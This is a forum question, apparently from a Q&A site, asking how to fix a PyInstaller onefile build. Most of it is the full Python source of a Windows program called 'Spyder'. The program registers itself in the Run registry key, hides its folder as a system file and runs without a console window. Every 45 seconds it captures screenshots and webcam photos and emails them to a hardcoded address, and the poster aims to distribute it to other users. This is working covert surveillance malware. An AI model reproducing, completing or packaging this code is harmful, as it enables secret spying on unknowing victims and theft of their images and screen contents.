I have written a python script that takes the screenshot of my screen and takes picture from my webcam and send it to my email. With lots of effort, I have completed my script. What I have found is that writing script is much easier than distributing my script for any user. I tried several times to compile my script with Pyinstaller but none of them worked. Till now I have figured out that I should tweak .spec file if I want my script to be compiled with pyinstaller. But as far I have understood tweaking .spec file is to make available the additional resources like icon image, image used in program.
But I do not have any such additional resources but when my program runs it creates two folder is_internet and no_internet inside root folder where if there is internet connection then the program takes picture from webcam and screenshot and send it to my email and delete that both file. And if there is no internet then my program saves the images to no_internet folder where there are another two folder inside it i.e Screenshot and Webcam where screenshot taken is stored in screenshot folder and image from webcam is stored in webcam folder. And whenever there is internet my scripts sends those saved images to my email ( 100 images at a time ) and deletes those sent images.
I used pyinstaller -F -w Spyder.py but later if I want to make compile in onefile mode then I came to know to use one more function at my top of my script. The function looks like:
def resource_path(relative_path):
try:
base_path = sys._MEIPASS
except Exception:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)
But I have no idea where to call this function in my script.
My .spec file looks like this when ran:- pyi-makespec --onefile --windowed --noupx Spyder.py:
# -*- mode: python -*-
block_cipher = None
a = Analysis(['Spyder.py'],
pathex=['C:\\Users\\6292s\\Desktop\\PP\\Setup_File\\Open CV -no console'],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher)
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
name='Spyder',
debug=False,
strip=False,
upx=False,
runtime_tmpdir=None,
console=False )
My script
import os
import cv2
import time
import string
import random
import smtplib
import _winreg
import requests
import pyautogui
import subprocess
from email import Encoders
from email.MIMEBase import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
fromadd = '[email protected]'
toadd = '[email protected]'
password = 'Password'
# no idea where to call this function in my script.
def resource_path(relative_path):
try:
base_path = sys._MEIPASS
except Exception:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)
def is_at_startup():
areg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)
try:
akey = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spyder.exe', 0, _winreg.KEY_WRITE)
areg.Close()
akey.Close()
except WindowsError:
key = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_SET_VALUE)
_winreg.SetValueEx(key, 'Spyder', 0, _winreg.REG_SZ, 'C:\Program Files (x86)\Spyder\Spyder.exe')
areg.Close()
key.Close()
def naming():
global name
global clock
global webcam_name
global screenshot_name
name = ''
for i in range(20):
x = random.randint(0, 61)
name += string.printable[x]
clock = time.ctime().replace(':', '-')
screenshot_name = clock + ' _Screenshot_ ' + name + '.jpg'
webcam_name = clock + ' _Webcam_ ' + name + '.jpg'
def make_folder():
if os.path.exists(os.path.join('C:' + os.sep, 'root')) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')) and os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) and os.path.exists(os.path.join(r'C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)
if os.path.exists(os.path.join('C:' + os.sep, 'root')):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
pass
if os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
pass
if not os.path.exists(os.path.join('C:' + os.sep, 'root')):
os.mkdir(os.path.join('C:' + os.sep, 'root'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)
if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
if not os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
def is_internet():
try:
requests.get("http://www.google.com")
return True
except requests.ConnectionError:
return False
def login():
global msg
sessions = smtplib.SMTP('smtp.gmail.com', '587')
sessions.ehlo()
sessions.starttls()
sessions.ehlo()
sessions.login(fromadd, password)
sessions.sendmail(fromadd, toadd, msg.as_string())
sessions.quit()
msg = MIMEMultipart()
def capturing():
os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_name)
cam = cv2.VideoCapture(0)
ret, frame = cam.read()
cv2.imwrite(webcam_name, frame)
cam.release()
cv2.destroyAllWindows()
def no_internet_screenshot():
os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_name)
def no_internet_webcam():
os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
cam = cv2.VideoCapture(0)
ret, frame = cam.read()
cv2.imwrite(webcam_name, frame)
cam.release()
cv2.destroyAllWindows()
def send_mail(fromadd, toadd):
global msg
msg = MIMEMultipart()
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = '-- Screenshot & Webcam - Internet Connection'
screenshot_data = open(screenshot_name, 'rb').read()
webcam_data = open(webcam_name, 'rb').read()
send_screenshot = MIMEImage(screenshot_data, name=os.path.basename(screenshot_name))
send_webcam_pic = MIMEImage(webcam_data, name=os.path.basename(webcam_name))
msg.attach(send_screenshot)
msg.attach(send_webcam_pic)
if is_internet():
login()
for f in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
os.remove(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet', f))
def no_internet_sending_screenshot(fromadd, toadd):
global msg
msg = MIMEMultipart()
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = '-- Screenshot - No Internet'
screenshot_path = []
del_path = []
screenshot_num = 0
for screenshot_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Screenshot' + os.sep, screenshot_image)
screenshot_path.append(abs_path)
while len(screenshot_path) > 0:
if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')) > 0:
for screenshot_img in screenshot_path:
if len(screenshot_path) > 100:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(screenshot_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
msg.attach(part)
del_path.append(screenshot_img)
screenshot_num += 1
if screenshot_num == 100:
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
screenshot_path.remove(dlt)
os.remove(dlt)
del_path = []
screenshot_num = 0
else:
for screenshot_img in screenshot_path:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(screenshot_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
msg.attach(part)
del_path.append(screenshot_img)
screenshot_num += 1
if screenshot_num == len(screenshot_path):
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
screenshot_path.remove(dlt)
os.remove(dlt)
del_path = []
else:
break
def no_internet_sending_webcam(fromadd, toadd):
global msg
msg = MIMEMultipart()
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = '-- Webcam pic - No Internet'
webcam_path = []
del_path = []
webcam_num = 0
for webcam_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Webcam' + os.sep, webcam_image)
webcam_path.append(abs_path)
while len(webcam_path) > 0:
if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) > 0:
for webcam_img in webcam_path:
if len(webcam_path) > 100:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(webcam_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
msg.attach(part)
del_path.append(webcam_img)
webcam_num += 1
if webcam_num == 100:
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
webcam_path.remove(dlt)
os.remove(dlt)
del_path = []
webcam_num = 0
else:
for webcam_img in webcam_path:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(webcam_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
msg.attach(part)
del_path.append(webcam_img)
webcam_num += 1
if webcam_num == len(webcam_path):
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
webcam_path.remove(dlt)
os.remove(dlt)
del_path = []
else:
break
def main():
is_at_startup()
make_folder()
while True:
naming()
if is_internet():
no_internet_sending_screenshot(fromadd, toadd)
no_internet_sending_webcam(fromadd, toadd)
capturing()
send_mail(fromadd, toadd)
time.sleep(45)
else:
no_internet_screenshot()
no_internet_webcam()
time.sleep(45)
if __name__ == '__main__':
main()
When I made a executable file using the above .spec file, pyinstaller compiles my file with no error. But when I run the executable file to another machine where there is no python or pyinstaller installed then it always gives me Fatal Error Failed to execute Spyder
I am using:
- Python: 2.7.15
- Pyinstaller : 3.3.1
- Modules used in my script:
os, cv2 (3.4.2.17), time, string, random, smtplib, _winreg, requests (2.19.1), pyautogui (0.9.38), subprocess, email
Should I have to include my working folder (named root) in .spec file? OR Should add anything in my .spec file?
I have been asking the same question for many times but my problem is not solved yet. So please help me to solve my problem.